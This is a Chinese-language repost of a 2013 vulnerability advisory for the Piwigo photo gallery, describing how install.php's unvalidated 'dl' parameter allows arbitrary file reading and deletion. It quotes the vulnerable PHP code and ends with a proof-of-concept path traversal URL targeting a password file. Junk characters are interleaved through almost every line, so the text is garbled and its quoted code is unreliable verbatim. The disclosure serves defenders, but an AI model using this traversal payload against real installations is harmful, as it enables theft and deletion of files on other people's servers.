Piwigo是用PHP编写的相册脚本。* }8 p7 S |) u
" F; G% }: q7 Q6 H
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
0 `& G8 f, }6 r, W: W====================================================================) g% v& {" ?) J& O8 N& _
/install.php:) V1 y: v' a0 _0 F; R4 P
-------------
* l* f4 o( ]0 d( P8 |, i& k113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))3 A# d4 E+ d( V: J6 `$ |1 \
114: {
. |8 w H) \1 S1 r; l115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];: k4 v! H( g6 A4 `8 K, u4 J
116: header('Cache-Control: no-cache, must-revalidate');! `" C; n3 e7 J7 {
117: header('Pragma: no-cache');
A- j9 R* q; n, u2 K, v118: header('Content-Disposition: attachment; filename="database.inc.php"');
; F+ V4 @' ]) H' ^119: header('Content-Transfer-Encoding: binary');/ e, N6 A/ q W; A; d
120: header('Content-Length: '.filesize($filename));
" U% u- _2 b: i3 K121: echo file_get_contents($filename);* G L9 X7 u v' n
122: unlink($filename);7 Q5 L8 ?+ I; C `' \
123: exit();% ^, P( D. q/ ]9 s% A" Z/ p# l" W
124: }
( c( Z- \' @$ y; y, H! b====================================================================' R; z; \: c5 T x# f: N' b
4 [, w. ?( J0 N5 vTested on: Microsoft Windows 7 Ultimate SP1 (EN); `2 t+ W+ \( t" X& a
Apache 2.4.2 (Win32)
* m7 p; C. { W: A! J) p( T PHP 5.4.4
9 p4 q& c2 T3 y& I1 j$ } MySQL 5.5.25a
7 {1 G- r. q2 O" M' U, G / A: _% j) H+ w; F9 O, d+ O2 Y# x
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
/ d" h7 E$ j- Y; f @zeroscience) D2 x( G" T9 a, z+ g& S( O
% g( l5 M- v9 a* P, W- \4 J: W
Advisory ID: ZSL-2013-5127
" }' d* v* ]; b: s) J7 o5 xAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php8 e8 X7 c) Q# h2 }* n7 e
Vendor Patch: http://piwigo.org/bugs/view.php?id=28430 q$ @8 r( O. E& }& J- _6 H$ b
# j+ }* ~. S0 i# v15.02.2013
, }6 T/ K5 h/ H1 _" X, I; U
' X2 g+ ^7 d, q/ ]4 o--
3 F4 K0 b% _* v$ e6 N6 ?http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
4 R9 S5 h5 u) D5 X; {1 A
- N. `# j+ k+ h* r8 [) \5 \; r |